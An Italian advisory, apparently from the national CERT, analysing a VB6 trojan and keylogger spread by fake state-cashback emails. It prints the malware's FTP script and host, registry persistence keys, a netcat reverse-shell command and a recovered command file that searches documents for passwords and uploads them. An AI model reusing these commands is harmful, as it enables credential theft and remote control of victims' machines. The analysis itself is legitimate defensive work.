Falsa comunicazione Cashback di Stato veicola malware

05/01/2021

sysc32cmd

È in corso una campagna malspam volta a veicolare un malware facendo leva sul recente programma di rimborso in denaro per acquisti effettuati con strumenti di pagamento elettronici, meglio noto come Cashback di Stato.

L’email, della quale si riporta lo screenshot, è pervenuta al Cert-AgID grazie alla rilevazione e alla tempestiva segnalazione di D3Lab che ci ha permesso di analizzare il sample proposto in download tramite link contenuto nel corpo del messaggio.

Il file scaricato non è un documento pdf come riportato nel link, ma si tratta di un file eseguibile scritto in Visual Basic 6 con doppia estensione.

“sysc32cmd” un rat/infostealer

Il malware è scritto in VB6 ed utilizza un server FTP su Altervista per lo scambio di informazioni con l’autore.
All’avvio il malware si occupa di gestire la propria persistenza copiandosi nella home dell’utente ed usando il registro di sistema, dopodichè colleziona le informazioni sulla macchina della vittima e le salva sul server FTP.
Infine scarica un modulo aggiuntivo (keylogger) dal server FTP e avvia un timer che recupera i comandi da eseguire sempre da un file presente sul server FTP.

Si riportano di seguito le operazioni eseguite dal malware:

  • Acquisisce informazioni sul nome utente e sul nome macchina e li concatena usando un trattino;
  • Verifica la presenza di “C:\Users” o “C:\Documents and settings” usando la data di creazione della cartella;
  • Nasconde la finestra dall’elenco delle applicazione usando Global.TaskVisible = False;
  • Verifica se esiste già una istanza attiva con Global.PrevInstance;
  • Genera un file in “C:\User\USERNAME\win1.ini” all’interno del quale scrive il percorso da cui è stato lanciato il malware. Lo userà per rimuoverlo;
  • Se il file eseguibile non è denominato “sysc32cmd” o “sysc32log” effettua una copia di se stesso in C:\User\USERNAME\sysC32cmd.exe;
    Il file sorgente è generato usando il nome dell’applicazione così come ottenuto tramite l’oggetto App. Non contiene quindi l’estensione, viene prima provata l’estensione .exe e poi .scr.
  • Genera dei file di testo rinominati in .dll contenenti le istruzioni telnet per collegarsi in FTP;

ccc1.dll

open ffaadd332211.altervista.org
username
password
ASCII
lcd "C:\Users\USERNAME"
get "USERNAME-PC-USERNAME"
del "USERNAME-PC-USERNAME"
bye

L’host e le credenziali sono riportate in chiaro all’interno del codice del malware.

Nel corso dell’analisi è stato comunque individuato un altro host ftp sempre su Altervista.

Esecuzione del contenuto

CMD /C ftp -s: C:\Users\USERNAME\ccc1.dll

Download del keylogger

  • Scarica il file manual.pdf dal server FTP con il comando PF:FROMFTPB>>>manual.pdf;
  • Se il file è stato scaricato usa CC:COPY e CC:DEL per copiare “manual.pdf” in <App.Title>.exe e cancellare l’originale;
  • Esegue il file appena copiato.
  • Scrive il file C:\User\USERNAME\CONN_{NomeComputer}-{NomeUtente} con i comandi di seguito riportati e li carica su FTP:
CMD /C NET SHARE >> C:\User\USERNAME\\CONN_{NomeComputer}-{NomeUtente}
CMD /C IPCONFIG/ALL >> C:\User\USERNAME\\CONN_{NomeComputer}-{NomeUtente}
CMD /C DIR C:\ >> C:\User\USERNAME\\CONN_{NomeComputer}-{NomeUtente}
CMD /C DEL C:\User\USERNAME\\CONN_{NomeComputer}-{NomeUtente}
  • Cancella il file C:\User\USERNAME\unix2.reg se presente;
  • Crea un file C:\User\USERNAME\reg.reg con scritto “REG.”
  • Crea un file C:\User\USERNAME\unix1.reg con il seguente contenuto per garantirsi la persistenza:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
Svchost Microsoft = &HOME\sysc32cmd.exe
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
Svchost Microsoft = &HOME\sysc32cmd.exe
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
Microsoft Services = &HOME\sysc32log.exe
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
Microsoft Services = &HOME\sysc32log.exe
  • Registra le informazioni con il comando CMD /C RegEdit /i /s “C:\Users\USERNAME\unix1.reg”;
  • Fa partire un timer ogni 30 secondi, il quale scarica un file dal server FTP denominato {NomeComputer}-{NomeUtente} e che conterrà i comandi da eseguire;

Comandi

Il comandi sono contenuti in un file nel server FTP, chiamano con lo stesso nome del computer e del nome utente della vittima.

Il contenuto è codificato nella forma [xxxx][xxxx] … [xxxx], dove ogni [xxxx] rappresenta un carattere e xxxx è un numero.

Il carattere originale è ottenuto come (xxxx - 0x4d2) / 2

I comandi sono delineati da un prefisso EX, CC, EC:

EX -> Esegue uno dei comandi:

[END:] Termina interpretazione del file di comandi
[SLEE] Pausa
[TFTP] Upload file sull'FTP (binario)
[DEL:] Cancella un file con CMD /C del
[FTPA] Download un file dall'FTP (ASCII)
[FTPB] Download un file dall'FTP (binario)
[DFTP] Cancella un file sull'FTP
[FFTP] Esegue una serie di comandi FTP (separati da ;)
[SHEL] Esegue il comando passato
[NC::] Esegue Netcat (CMD /C nc) con i parametri passati
[NCS:] Esegue CMD /C nc {parametri} -e C:\WINDOWS\SYSTEM32\cmd.exe per avere una rev shell
[1011], [1100], [1101], [1110], [1111] Ignorati

CC -> Esegue uno dei comandi:

TOFTP>>> Upload FTP (binario)
FROMFTPA>>> Download FTP (ASCII)
FROMFTPB>>> Download FTP (binario)
DELBYFTP>>> Cancella file da FTP

EC -> Esegue il comando sleep.

“manual.pdf” è il keylogger

  • Sfrutta SetWindowsHookEx per loggare i tasti digitati;
  • Usa GetForegroundWindow e GetWindowText per rilevare la finestra attiva;
  • Con GetClipboardData acquisisce i contenuti dalla clipboard;
  • In fine un timer per ripetere le operazioni;
  • Quindi salva il tutto in un file temporaneo codificato e lo carica via FTP nel formato seguente: NomeComputer-NomeUtente-Timestamp.php

Comandi richiesti

Quello che segue è un file di comandi prelevato dal server FTP (e opportunamente redatto).

CC:fsutil fsinfo drives > "C:\VICTIM_A.txt"
EC:sleep 3000
CC:DIR C:\ >> "C:\VICTIM_A.txt"
EC:sleep 3000
CC:DIR C:Users\ >> "C:\VICTIM_A.txt"
EC:sleep 3000
CC:IPCONFIG /ALL >> "C:\VICTIM_A.txt"
EC:sleep 5000
PF:TOFTP>>>"C:\VICTIM_A.txt"
CC:DEL  "C:\VICTIM_A.txt"
CC:findstr /S /I /M "passw" C:\ *.doc* *.txt *.rtf *.xls* *.ods *.eml *.msg > "C:\Users\VICTIM_P"
EC:sleep 300000
PF:TOFTP>>>"C:\Users\VICTIM_P"
CC:DEL  "C:\Users\VICTIM_P"

E’ interessante notare che oltre ai soliti comandi di information gathering, l’autore abbia voluto cercare tutti i documenti che contengono la stringa passw, evidentemente alla ricerca di password.

Autore

Sono emerse numerose evidenze che l’autore del malware sia italiano.

Raramente un autore di malware estero usa VB6 o, per lo meno, ad oggi non ne abbiamo rilevato. Esistono packer VB6, ma questi sono solo “contenitori VB6” poichè contengono istruzioni native o P-code casuali, tra le quali si nasconde la chiamata al vero codice del packer (che solitamente non è stato scritto VB6).

Il tema usato (cashback) è spiccatamente italiano e l’italiano usato nella e-mail è corretto.

Tra le stringhe lasciate dal compilatore VB6 ne spicca una che indica una struttura di directory italiana.

Il sito da cui è scaricato lo ZIP (protetto dal link bit.ly) contiene la firma dell’autore (giud@m@ligno666)

Il malware è piuttosto rudimentale, manca di un C2 vero e proprio ed utilizza un linguaggio obsoleto.
La necessità di firmare le proprie opere è probabilmente indice di una mano ancora inesperta o comunque non professionista, che vuole farsi conoscere per il risultato ottenuto.

Conclusioni

Il Cert-AgID ha provveduto a diramare gli IoC legati a questa campagna attraverso la propria piattaforma a tutela delle organizzazioni accreditate.

Per tutti gli utenti si riportano in allegato gli IoC inerenti la campagna “sysc32cmd”.

Link: Download IoC

Taggato  sysc32cmd